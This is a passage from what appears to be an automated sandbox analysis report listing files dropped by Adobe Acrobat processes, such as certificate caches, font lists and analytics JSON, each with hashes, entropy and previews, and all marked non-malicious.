SSDEEP:	384:yeaci5GCiBA7vEmzKNURFXoD1NC1SK0gkzPlrFzqFK/WY+lUTTcKqZ5bEmzVz:1yurVgazUpUTTGt
MD5:	05247430A481F686257AD7370A89359C
SHA1:	5051120250BE7AD8833B242179B5F069182741F7
SHA-256:	0DD9C51D669B219B0C0FDC595B2A294E6DCBE78760EAA70540B40C51659A9B43
SHA-512:	534A86105FD140BFEB979EBA26F6619F295437A28D5716E915F7AF1D404BA0759EF14A61FFF6BA565C40941EDA206830DFE2E21EEF06B2C235AF82D558C93645
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	3.7726891717247564
Encrypted:	false
SSDEEP:	48:7MKp/E2ioyVwzioy3DoWoy1CABoy17AKOioy1noy1AYoy1Wioy1hioybioyBcoy5:7lpjuwz0iAPEXKQ0uEb9IVXEBodRBk4
MD5:	DF864C8B4F9A4F10EF9730C6749ED1B1
SHA1:	D94F7CAE2C3F3B2ED77329FAC9961C2A7816A4CB
SHA-256:	079CC6D494E27B2FFD817D4984D26CA6AFCD4F934AEE07179948A3693A33F135
SHA-512:	9F459303E6B0D11C20151BDC15349210F733E8D572B1C7F83D4AFB915D0233134842763BD2E36C5B8C37B66E4851769287C87F49A4CE1D8AEF1F9B1FF7BDAD2F
Malicious:	false
Preview:	.... .c.....p!d................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................T...[...b...r...t...}.....L..............................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7529698674325394
Encrypted:	false
SSDEEP:	3:kkFkl6X7stfllXlE/HT8kLh/tNNX8RolJuRdxLlGB9lQRYwpDdt:kKjoeT84RNMa8RdWBwRd
MD5:	4D7DCED5AE9F722667615F9BB61ECF44
SHA1:	6D9D045A54E07949487B0C98F226C7348A1DEEE1
SHA-256:	BB722A3BC516410056F29B7702F9053555AC054C5701A5D84E2FB82D9FD84046
SHA-512:	3ED8777F6718894C9D80A78900D97661FBD44586948277B0DE67F45E70C84A2E1A5FFE5FCB41EA925C1933B3AEEE392A980D31456E0EF8FDDB03CE40E8AF54A3
Malicious:	false
Preview:	p...... .........a[..c..(....................................................... ..........W....<...............o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	modified
Size (bytes):	328
Entropy (8bit):	3.2319854253366045
Encrypted:	false
SSDEEP:	6:kKmyL9UswD8HGsL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:JiDImsLNkPlE99SNxAhUe/3
MD5:	262DB61DE2403DF3006762A53742790F
SHA1:	48A67AE418FA7A5D0D1DA102E1DD5A1F42F307B5
SHA-256:	31D27721C25E0B0015419AC1DEC1B871CAE2E75432CB4DFF4C0E747FCE8379DC
SHA-512:	8C901A8E41F366C1EB97947F763BF5CD1E4C6BCDE9EF79BFB1DD6A2CB7ACB371BB83C618D823D9E1A4D7D95945EF27374A268A265388BD178BD4A07D5F626F63
Malicious:	false
Preview:	p...... ........u..-.c..(....................................................... ........G..@.......&......X........h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.7428

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.7428

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.372318862936732
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFUzuz4n4WsGiIPEeOF0Y0CoAvJM3g98kUwPeUkwRe9:YvXKXFUCz4bsdTeOyGMbLUkee9
MD5:	C52AC78EBED43429585327988B30779D
SHA1:	8698B6631A77B16AD532E20679312E8506495A11
SHA-256:	E162A2170FA12D6419F8ED46B408BCE113B62C5A116E49F312956A84A14A5469
SHA-512:	74F2286348A67BD14875FA78B933DC9A385DE1ECE9DD3E2E9ABB1CEAED7AE2E0CCE591C87EBD886302F6BA3C0F07552720B355DADA976A7AF07CBF28B3CE403E
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"283a942f-8b36-4b6e-bc24-1b766152f25d","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736742216223,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.309364545502873
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFUzuz4n4WsGiIPEeOF0Y0CoAvJfBoTfXpnrPeUkwRe9:YvXKXFUCz4bsdTeOyGWTfXcUkee9
MD5:	D080C3433A6E231AE1834661CA5E5C30
SHA1:	0A0EDA18328B53239DBFB4162986F5A603859DE9
SHA-256:	53DEB384E1C56E9BB1616BEBB2DD66FA93BFBCB36E261014275AC00837852331
SHA-512:	82D75C7193BCAF3392587F5D12867648D118420930D4F68018A42B5FDFA83B68C70A0A70007C9CA62C741229D5AB22821B38740081682AA7BBDB54BE6F99BD7E
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"283a942f-8b36-4b6e-bc24-1b766152f25d","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736742216223,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.2880707597297505
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFUzuz4n4WsGiIPEeOF0Y0CoAvJfBD2G6UpnrPeUkwRe9:YvXKXFUCz4bsdTeOyGR22cUkee9
MD5:	7BC3D64771F00AEBF6B70FD6B2F77755
SHA1:	BFE96BA7F270E40E638EB777A9349E904C5809D4
SHA-256:	A5E9C30659780239CC956B77523E85666A871CAB34AFFF093DF5A9D72B172165
SHA-512:	0710E1F428AF2E59E2B5C8ADB781D79C19FA8A3B9EF5C36CBE5AD3FF1B92985C131E8B24355E9A2F3DAD1566B4D26CAC325ECAE8945C93B042CB97AF6A727EC7
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"283a942f-8b36-4b6e-bc24-1b766152f25d","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736742216223,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.359511393341355
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFUzuz4n4WsGiIPEeOF0Y0CoAvJfPmwrPeUkwRe9:YvXKXFUCz4bsdTeOyGH56Ukee9
MD5:	D009F14D8F6975FD974CBB3F81018D7F
SHA1:	139328393780E7BB212B18E7EF6A5D62F22E4416
SHA-256:	0208C6A2D0089B407884FB4B08A912BBF761F263FF6A643164584DC473B55B34
SHA-512:	BC1029276AE9CF56CC56B229DD1C389D4A99AC4D119341916FC660B96D69046890BB26B2233258EE8C1AB6FEAD364327A893EAC7D8B8A17BEB4BD1B6059DF386
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"283a942f-8b36-4b6e-bc24-1b766152f25d","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736742216223,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.6894588444917105
Encrypted:	false
SSDEEP:	24:Yv6XWCzomeOPpLgE9cQx8LennAvzBvkn0RCmK8czOCCSqH:Yvbkeghgy6SAFv5Ah8cv/W
MD5:	312903AEDFD7D7FB903A543A10002BC9
SHA1:	A1360913327E625C6A0CB88507C87F398A03D82F
SHA-256:	2812044CBD402F401DBEF80BC1CDAECEF353CA3850E0BF9B3F2E7FC17B789DEB
SHA-512:	479DC83A86913C11D289259841ED4783424DE117F75FDDEA2D32A91F670BB4BF7B0CC9BEA5474736546F214C065DF7079BEBBAE144DE2D026B7E6F2F3D61D2BD
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"283a942f-8b36-4b6e-bc24-1b766152f25d","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736742216223,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.298358458510215
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFUzuz4n4WsGiIPEeOF0Y0CoAvJf8dPeUkwRe9:YvXKXFUCz4bsdTeOyGU8Ukee9
MD5:	0D867B717FD63CA0B5A3BBF97CA4BFC1
SHA1:	BB68259100B1F3C7B59F0488ED3EA236467A9D31
SHA-256:	FA0690BAD6F03112A63C321657D881C2E255E36BD2CB9EAF23A91D49D9C84E01
SHA-512:	A3367F1FE00E905BD87CFB54F823E7D9DEAA812EE9E2C28BF3810ADD96A8C91453FAEEFBE5A7A9C038E3728CC411FFE863AE2F8087127AF093CA4964EC4E3244
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"283a942f-8b36-4b6e-bc24-1b766152f25d","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736742216223,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.302257761300769
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFUzuz4n4WsGiIPEeOF0Y0CoAvJfQ1rPeUkwRe9:YvXKXFUCz4bsdTeOyGY16Ukee9
MD5:	F73C2EAFF5D89BE4828C78B074D5CD9E
SHA1:	40754E0DB99752E485F2226B6C283156C6B8813E
SHA-256:	3B45A93D233B892DAD1EC4418CB9530F6CF7AADCCE9136D913B2D938A038A3AC
SHA-512:	4687DC92EE4F71BE0A48CB3563AAE05472C53DBF5E12F38D75D3F218FF314C0CDD59B2FCEB11C5B6099F4F6739ACADF9DFFED6B15C1E52EB37B685AC60F83621
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"283a942f-8b36-4b6e-bc24-1b766152f25d","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736742216223,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.318324795525262
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFUzuz4n4WsGiIPEeOF0Y0CoAvJfFldPeUkwRe9:YvXKXFUCz4bsdTeOyGz8Ukee9
MD5:	9F73D124EE84781E95B1D66D7E8266F8
SHA1:	A94E2804A10C03BC49DA70243783739999DC58C3
